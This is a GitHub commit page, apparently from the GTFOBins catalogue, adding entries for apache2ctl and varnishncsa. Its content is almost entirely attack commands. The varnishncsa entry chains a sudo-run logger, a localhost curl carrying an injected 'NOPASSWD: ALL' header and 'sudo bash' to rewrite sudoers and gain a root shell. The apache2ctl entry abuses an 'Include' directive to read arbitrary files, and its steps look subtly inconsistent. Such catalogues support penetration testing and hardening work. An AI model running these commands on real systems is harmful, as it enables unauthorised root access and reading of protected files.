Skip to content

Commit

Permalink
Add varnishncsa & apache2ctl
Browse files Browse the repository at this point in the history
This commit adds 2 files (_gtfobins/apache2ctl.md and _gtfobins/varnishncsa.md) containing privilege escalation methods for the varnishncsa and apache2ctl utilities.
  • Loading branch information
nuts7 committed Jun 19, 2023
1 parent d48892a commit 2f20c1a
Show file tree
Hide file tree
Showing 2 changed files with 24 additions and 0 deletions.
16 changes: 16 additions & 0 deletions _gtfobins/apache2ctl.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
---
description: apache2ctl is a front end to the Apache HyperText Transfer Protocol (HTTP) server. It is designed to help the administrator control the functioning of the Apache apache2 daemon.
functions:
file-read:
- code: cp -r /etc/apache2/ /tmp/apache2
- code: |
LFILE=file_to_read
echo "Include $LFILE" >> /tmp/test
- code: apache2ctl -d /tmp/apache2 -k restart
sudo:
- code: cp -r /etc/apache2/ /tmp/apache2
- code: |
LFILE=file_to_read
echo "Include $LFILE" >> /tmp/test
- code: sudo apache2ctl -d /path/to/apache2 -k restart
---
8 changes: 8 additions & 0 deletions _gtfobins/varnishncsa.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
---
description: varnishncsa utility reads varnishd shared memory Varnish logs and presents them in the Apache / NCSA "combined" log format.
functions:
sudo:
- code: sudo varnishncsa -g request -q "ReqURL ~ \"/exploit_randomfoo\"" -F '%{exploit}i' -w /etc/sudoers.d/user &
- code: curl -H 'exploit: user ALL = (ALL) NOPASSWD: ALL' localhost:6081/exploit_randomfoo
- code: sudo bash
---

0 comments on commit 2f20c1a

Please sign in to comment.